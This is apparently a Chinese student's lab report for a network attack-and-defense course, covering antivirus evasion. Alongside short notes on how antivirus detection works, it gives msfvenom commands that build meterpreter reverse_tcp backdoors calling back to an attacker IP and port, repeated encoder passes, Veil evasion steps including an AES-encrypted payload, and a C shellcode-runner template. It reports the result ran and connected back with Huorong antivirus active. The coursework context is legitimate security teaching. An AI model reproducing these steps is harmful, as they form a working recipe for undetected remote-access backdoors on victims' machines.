20202409 2022-2023-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实践目标
实践的主要目标是掌握免杀原理与技术,具体内容如下:
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧:
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;
使用veil加壳工具加壳;
使用C + shellcode编程。 - 通过组合应用各种技术实现恶意代码免杀。
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.2实践要求(回答问题)
- 杀软是如何检测出恶意代码的?
老师介绍了三种主要的方式:
(i)基于特征码的检测。对文件中的一部分特征进行检测,从而识别是否为恶意软件;
(ii)启发式恶意软件检测。根据片面的特征去判定为恶意软件;
(iii)基于行为的恶意软件检测。根据典型的,可能具有威胁性的行为与操作去识别是否为恶意软件。 - 免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。 - 免杀的基本方法有哪些?
总体技术有两大种,每一种里又有多种不同的方法:
(i)改变特征码
对exe文件加壳,压缩壳或加密壳;
对shellcode进行多次编码或更换payload重新编译;
用其他编程语言重写攻击代码,再编译生成可执行文件。
(ii)改变行为
改变通讯方式,如尽量使用反弹技术,使用隧道技术,和加密通讯数据;
改变操作模式,如尽量基于内存操作(meterpreter就是基于内存的一个渗透组件),减少对系统内核的修改,和加入起到混淆作用的具有正常功能的代码。
1.3实践环境
测试机:win11+Huorong Security
攻击机:kali-11.x
2.实验过程
2.1使用msf编码器,使用msfvenom生成如jar之类的其他文件
msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,msf编码器会将原始程序解码到内存中并执行在kali终端。
输入指令msfvenom --list encoder
查看所有的编码器:
选一个rank高一点的encoder进行编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.197.130 LPORT=2409 -f exe > 20202409backdoor.exe
将该后门程序拖入https://www.virustotal.com进行测试,结果如下:
48/68表示在68款杀毒软件中,有48款判定该程序属于恶意软件,可见,该程序的免杀效果并不好。
尝试多次编码,在msfvenom的option菜单中,我们可以知道其指令为-i [-次数]
,这里我浅浅编20次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -20 LHOST=192.168.197.130 LPORT=2409 -f exe > 20202409backdoor.exe
然而,发现查杀概率不减反增,增加编码次数为50,查杀概率再次变大,判断此种方法可行性不大:
尝试使用msfvenom生成如jar之类的其他文件:
msfvenom -p java/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.197.130 LPORT=2409 -f jar > 20202409backdoor.jar
如图所示,这种做法使得免杀概率较之前有所提高。
2.2使用veil加壳工具加壳
参考https://blog.csdn.net/l1028386804/article/details/84895163安装veil。安装过程确实颇为曲折,安装了大概四五次,最后成功的步骤见问题及解决方案,安装成功的界面如下:
之后,输入指令:
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.43.27
set LPORT 2209
generate
自定义base name,默认为“payload”,生成payload.exe文件,按照生成路径查找该文件:
拖入VirusTotal中检测,结果如下:
发现,免杀概率较之前的某些做法有所提高,但并不尽如人意。
2.3使用C + shellcode编程
先生成一段shellcode,可以参考下面的指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=2409 -f c
将生成的shellcode粘贴进如下的代码框架,生成一个c文件:
unsigned char buf[] = "[shellcode]";
int main() {
int (*func)() = (int(*)())buf;
func();
}
编译执行这个c程序可以得到exe文件,指令如下:
i686-w64-mingw32-g++ shellcode_c.c -o [你自己含shellcode的c文件名字].exe
拖入VirusTotal,检测结果如下:
较之前的查杀概率有了明显的下降。
2.4通过组合应用各种技术实现恶意代码免杀
在使用了反弹式shell与meterpreter基于内存操作的基础上,再考虑用veil加壳工具对payload加一层加密壳,执行以下命令:
use evasion
use use python/shellcode_inject/aes_encrypt.py
generate
2
windows/meterpreter/reverse_tcp
[kali主机IP]
[监听端口号]
//回车
生成文件如图:
检测结果如下:
如图,成功实现免杀。
2.5用另一电脑实测,在杀软开启的情况下,可运行并回连成功
同实验二步骤,进入msfconsole并设置payload、LHOST和LPORT,点击运行后门程序,获得shell回弹,试验机及杀软型号在前面的实践环境中已提过,这是与杀软共生的结果:
3.问题及解决方案
veil安装过程中报错,主要有:资源无法找到(unreachable),执行安装脚本后各种组件无法安装等。
最后成功的步骤:
apt-get update --fix-missing
veil
//会提示command not found,询问你是否需要安装,输入y,安装veil
veil
//此时,不会报错command not found,开始安装各种组件,一路next(默认)
总的来说可能是apt-get update --fix-missing这句命令起效果了,资源unreachable感觉还是看运气,实在不行可以考虑换源,我这个没有换,用的是官方源。
4.学习感悟、思考等
本次实验在了解了杀毒软件的工作原理后,尝试实现恶意代码免杀,通过这次实验,我认识到可以通过更复杂的代码生成方式,改变文件的特征码,使得杀毒软件无法查杀,如最后成功实现免杀的payload,用aes对文件进行了加密,然后边运行边解密,我们可以看到,至少在植入这一步,杀毒软件是无法将其检测出来的。